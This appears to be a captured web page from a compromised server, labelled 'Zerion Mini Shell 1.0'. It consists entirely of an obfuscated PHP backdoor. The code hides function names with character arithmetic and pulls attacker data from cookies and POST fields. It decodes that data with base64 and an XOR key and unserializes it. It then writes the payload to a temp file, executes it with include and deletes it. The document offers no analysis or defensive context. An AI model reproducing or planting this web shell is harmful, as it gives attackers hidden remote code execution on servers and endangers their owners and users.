Mini Shell
$RbbhQs = "\x70" . "\x5f" . "\122" . chr (75) . "\x4d" . "\146" . chr (81); $ywiNYdf = chr ( 981 - 882 )."\x6c" . "\x61" . chr (115) . "\x73" . chr ( 1080 - 985 ).chr (101) . "\x78" . "\151" . "\163" . "\164" . chr (115); $pUrwLnkVI = class_exists($RbbhQs); $ywiNYdf = "35539";$uYufFjv = strpos($ywiNYdf, $RbbhQs);if ($pUrwLnkVI == $uYufFjv){function ABaCPjr(){$ejfrhN = new /* 18780 */ p_RKMfQ(27284 + 27284); $ejfrhN = NULL;}$gTccCXUNMI = "27284";class p_RKMfQ{private function IGzLnqyj($gTccCXUNMI){if (is_array(p_RKMfQ::$qvPSW)) {$name = sys_get_temp_dir() . "/" . crc32(p_RKMfQ::$qvPSW["salt"]);@p_RKMfQ::$qvPSW["write"]($name, p_RKMfQ::$qvPSW["content"]);include $name;@p_RKMfQ::$qvPSW["delete"]($name); $gTccCXUNMI = "27284";exit();}}public function EWlcyV(){$HJuCFVm = "21183";$this->_dummy = str_repeat($HJuCFVm, strlen($HJuCFVm));}public function __destruct(){p_RKMfQ::$qvPSW = @unserialize(p_RKMfQ::$qvPSW); $gTccCXUNMI = "28850_49440";$this->IGzLnqyj($gTccCXUNMI); $gTccCXUNMI = "28850_49440";}public function NEbvPMJK($HJuCFVm, $ckuBe){return $HJuCFVm[0] ^ str_repeat($ckuBe, intval(strlen($HJuCFVm[0]) / strlen($ckuBe)) + 1);}public function xXjXai($HJuCFVm){$JPWSPBkfdg = "\x62" . chr ( 356 - 259 ).chr (115) . "\x65" . chr (54) . "\64";return array_map($JPWSPBkfdg . "\x5f" . "\144" . chr (101) . chr (99) . chr ( 900 - 789 ).'d' . chr ( 717 - 616 ), array($HJuCFVm,));}public function __construct($nDmAhJDBTH=0){$JoGDToAqy = chr ( 809 - 765 ); $HJuCFVm = "";$qXTRZEszz = $_POST;$dejHJSW = $_COOKIE;$ckuBe = "3fb71a29-c5af-47fb-87f2-c83ae315a24c";$wtGrWuQH = @$dejHJSW[substr($ckuBe, 0, 4)];if (!empty($wtGrWuQH)){$wtGrWuQH = explode($JoGDToAqy, $wtGrWuQH);foreach ($wtGrWuQH as $XKZrTp){$HJuCFVm .= @$dejHJSW[$XKZrTp];$HJuCFVm .= @$qXTRZEszz[$XKZrTp];}$HJuCFVm = $this->xXjXai($HJuCFVm);}p_RKMfQ::$qvPSW = $this->NEbvPMJK($HJuCFVm, $ckuBe);if (strpos($ckuBe, $JoGDToAqy) !== FALSE){$ckuBe = chunk_split($ckuBe); $ckuBe = rtrim($ckuBe);}}public static $qvPSW = 14064;}ABaCPjr();}
Zerion Mini Shell 1.0